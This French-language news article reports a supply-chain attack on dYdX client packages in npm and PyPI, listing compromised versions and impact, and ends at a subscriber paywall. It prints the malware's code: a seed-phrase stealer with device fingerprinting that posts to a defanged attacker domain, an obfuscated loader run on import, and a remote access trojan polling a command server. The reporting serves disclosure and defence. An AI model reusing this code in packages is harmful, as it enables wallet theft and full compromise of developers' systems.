Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI. npm est un gestionnaire de paquets pour le langage de programmation JavaScript maintenu par npm, Inc., une filiale de GitHub. npm est le gestionnaire de paquets par défaut pour l'environnement d'exécution JavaScript Node.js et est inclus comme fonctionnalité recommandée dans le programme d'installation de Node.js. Il se compose d'un client en ligne de commande, également appelé npm, et d'une base de données en ligne de paquets publics et privés payants, appelée le registre npm. Le registre est accessible via le client, et les paquets disponibles peuvent être consultés et recherchés via le site web npm. Le gestionnaire de paquets et le registre sont gérés par npm, Inc.
Le Python Package Index, abrégé PyPI et également connu sous le nom de Cheese Shop, est le référentiel officiel de logiciels tiers pour Python. Il est analogue au référentiel CPAN pour Perl et au référentiel CRAN pour R. PyPI est géré par la Python Software Foundation, une organisation caritative. Certains gestionnaires de paquets, dont pip, utilisent PyPI comme source par défaut pour les paquets et leurs dépendances. PyPI héberge principalement des paquets Python sous forme d'archives sources, appelées « sdists », ou de « wheels » qui peuvent contenir des modules binaires provenant d'un langage compilé.
Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI. Le protocole dYdX est une bourse décentralisée pour le trading de dérivés de cryptomonnaies. Les paquets @dydxprotocol/v4-client-js (npm) et dydx-v4-client (PyPI) fournissent aux développeurs des outils pour interagir avec le protocole dYdX v4, notamment la signature de transactions, le placement d'ordres et la gestion de portefeuilles. Les applications utilisant ces paquets gèrent des opérations sensibles liées aux cryptomonnaies.
Les versions compromises ont affecté à la fois les écosystèmes JavaScript et Python avec différentes charges utiles, ciblant les deux langages les plus courants pour l'automatisation du trading et le développement de la finance quantitative.
npm : voleur de portefeuille de cryptomonnaies qui exfiltre les phrases de départ et les empreintes digitales des appareils.
PyPI : voleur de portefeuille et cheval de Troie d'accès à distance (RAT) permettant l'exécution de code arbitraire.
Versions compromises :
npm (@dydxprotocol/v4-client-js) :
- 3.4.1
- 1.22.1
- 1.15.2
- 1.0.31
PyPI (dydx-v4-client) :
- 1.1.5post1
L'attaque semble correspondre à une compromission de compte développeur, bien que cela n'ait pas été confirmé. Plusieurs versions malveillantes ont été publiées simultanément sur les deux écosystèmes à l'aide d'identifiants de publication légitimes, le logiciel malveillant étant intégré profondément dans les structures authentiques des paquets plutôt que ajouté en tant que dépendances externes. L'auteur de la menace a démontré une connaissance approfondie du fonctionnement interne des paquets, insérant du code malveillant dans les fichiers de registre principaux (registry.ts, registry.js, account.py) qui s'exécuterait lors de l'utilisation normale des paquets. L'obfuscation à 100 itérations dans la version PyPI et le déploiement coordonné entre les écosystèmes suggèrent que l'auteur de la menace avait un accès direct à l'infrastructure de publication plutôt que d'exploiter une vulnérabilité technique dans les registres eux-mêmes.
Cette attaque n'est pas un événement isolé. Au cours des dernières années, les auteurs de menaces ont pris pour cible à plusieurs reprises l'infrastructure et les paquets liés à dYdX par le biais de différents vecteurs d'attaque, notamment la compromission de la chaîne d'approvisionnement et les attaques au niveau du domaine.
Package npm : vol d'identifiants
Le package npm intègre une fonction malveillante createRegistry() dans registry.ts, registry.js[/] et un autre fichier [c]registry.js identique situé dans un autre chemin d'accès. Lorsque les développeurs intègrent ce package et transmettent la phrase de départ d'un utilisateur à createRegistry(), la fonction l'exfiltre avec l'empreinte digitale de l'appareil. Voici un extrait de code accompagnés de commentaires pour plus de clarté.
| Code JavaScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 | export async function createRegistry(phrase: string) { try { const uid = getDeviceUuid(); await fetch("https://dydx[.]priceoracle[.]site/v4/price", { method: "POST", body: JSON.stringify({ phrase, // Victim's seed phrase "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c", uid // Device fingerprint }) }) } catch { } } |
Empreinte digitale de l'appareil
Le logiciel malveillant génère un identifiant unique à partir des informations système :
| Code JavaScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | function getDeviceUuid() { try { const parts = []; parts.push(getMacLikeUuidNode()); // MAC address parts.push(os.hostname()); // Hostname parts.push(os.platform()); // OS platform parts.push(os.release()); // OS version parts.push(os.arch()); // Architecture parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim()); parts.push(process.env.HOSTNAME || ""); parts.push(process.env.COMPUTERNAME || ""); const fingerprint = parts.join("|"); const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest(); const b = Buffer.from(digest.subarray(0, 16)); b[6] = (b[6] & 0x0f) | 0x40; b[8] = (b[8] & 0x3f) | 0x80; return formatUuidFromBytes(b); } catch { return "00000000-0000-0000-0000-000000000000" } } |
L'empreinte digitale permet à l'auteur de la menace de corréler les identifiants volés à des machines spécifiques et de suivre les victimes à travers plusieurs compromissions.
Package PyPI : vol d'identifiants + cheval de Troie d'accès à distance
Le package PyPI comprend le même mécanisme de vol d'identifiants, ainsi qu'un cheval de Troie d'accès à distance supplémentaire caché dans une charge utile cryptée. Le RAT permet l'exécution de code arbitraire sur les systèmes des victimes.
Vol d'identifiants
Le package PyPI intègre le vol d'identifiants dans account.py sous la forme d'une fonction nommée list_prices(). La fonction prétend interroger les prix de négociation, mais exfiltre les phrases de départ :
| Code Python : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | def list_prices(self, phrase: str) -> Any: """ Query for prices for trading. Args: phrase (str): The account phrase Returns: Any: The aggregated list of price. """ # Device fingerprinting (same logic as npm version) parts = [] parts.append(str(uuid.getnode())) # MAC address parts.append(socket.gethostname()) parts.append(platform.system()) parts.append(platform.release()) parts.append(platform.machine()) if os.path.exists("/etc/machine-id"): parts.append(open("/etc/machine-id").read().strip()) parts.append(os.getenv("HOSTNAME", "")) parts.append(os.getenv("COMPUTERNAME", "")) fingerprint = "|".join(parts) digest = hashlib.sha256(fingerprint.encode()).hexdigest() b = bytearray.fromhex(digest[:32]) b[6] = (b[6] & 0x0F) | 0x40 b[8] = (b[8] & 0x3F) | 0x80 uid = str(uuid.UUID(bytes=bytes(b))) r = requests.post( self.host + "/v4/price", json={ "phrase": phrase, "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c", "uid": uid }, timeout=20 ) r.raise_for_status() return r.text |
La logique d'empreinte digitale de l'appareil reflète l'implémentation npm avec des ajustements mineurs pour la bibliothèque standard de Python.
Charge utile du cheval de Troie d'accès à distance
Le paquet PyPI comprend trois fichiers supplémentaires qui ne sont pas présents dans la version npm :
- config.py : contient la charge utile cryptée du cheval de Troie d'accès à distance dans une variable nommée GENSIS_BLOCKS.
- _bootstrap.py : exécute automatiquement la charge utile lorsque le paquet est importé.
- RAT désobfusqué : contacte le serveur C2 pour l'exécution de code arbitraire.
Obfuscation de la charge utile
La variable GENSIS_BLOCKS contient un blob de 5 527 caractères encodé en base64. Le fichier _bootstrap.py le désobfusque à l'aide de 100 itérations de : chaîne inversée → décodage base64 → décompression zlib (wbits=47).
| Code Python : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import base64 as b, gzip as g, zlib as z from functools import reduce from .config import GENSIS_BLOCKS _initialized = False def D(s): """Single deobfuscation pass""" try: return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace") except: raise def init(): global _initialized if _initialized: return _initialized = True # Apply 100 deobfuscation iterations dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s) ns = {} exec(dz(GENSIS_BLOCKS, 100), ns) # Execute deobfuscated payload |
La fonction init() s'exécute automatiquement lors de la première importation, exécutant le RAT silencieusement en arrière-plan.
Fonctionnalité du RAT
La charge utile désobfusquée révèle un cheval de Troie d'accès à distance qui contacte https://dydx[.]priceoracle[.]site/py pour recevoir des commandes :
| Code Python : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | def main() -> None: payload_data = { "uid": str(uuid.uuid4()) } file_data = {"file": {"name": "t.py"}} payload_data["data"] = json.dumps(file_data) while True: response = send_post_request( f"https://dydx[.]priceoracle[.]site/py", payload_data ) if response != "": run_script_async(response) # Execute code from server time.sleep(5) break else: time.sleep(10) # Start RAT in background daemon thread t = threading.Thread(target=main, daemon=True, name="async-main-runner") t.start() |
Le RAT :
- S'exécute en tant que thread démon en arrière-plan
- Envoie des signaux au serveur C2 toutes les 10 secondes
- Reçoit le code Python du serveur
- L'exécute dans un sous-processus isolé sans sortie visible
- Utilise un jeton d'autorisation codé en dur : 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75.
| Code Python : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 | def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str: req = urllib.request.Request( url=server_url, data=json.dumps(payload_data).encode("utf-8"), headers={ "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75" }, method="POST", ) # ... executes with disabled SSL verification |
La fonction run_script_async() crée des fichiers temporaires contenant le code reçu, les exécute avec toutes les redirections stdio vers /dev/null, puis supprime les fichiers. Sous Windows, elle utilise le drapeau CREATE_NO_WINDOW pour masquer entièrement le processus.
Impact
Toutes les applications utilisant les versions npm compromises sont à risque si createRegistry() reçoit une phrase de départ. L'impact direct comprend la compromission complète du portefeuille et le vol irréversible de cryptomonnaies. La portée de l'attaque comprend toutes les applications dépendant des versions compromises, ainsi que les développeurs effectuant des tests avec des identifiants réels et les utilisateurs finaux en production.
Les utilisateurs de PyPI sont confrontés à une compromission complète du système, au-delà du vol de portefeuille. Le RAT permet à l'acteur malveillant de :
- Exécuter du code Python arbitraire avec les privilèges de l'utilisateur.
- Voler des clés SSH, des identifiants API et du code source.
- Installer des portes dérobées persistantes.
- Exfiltrer des fichiers sensibles.
- Surveiller l'activité des utilisateurs
-...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.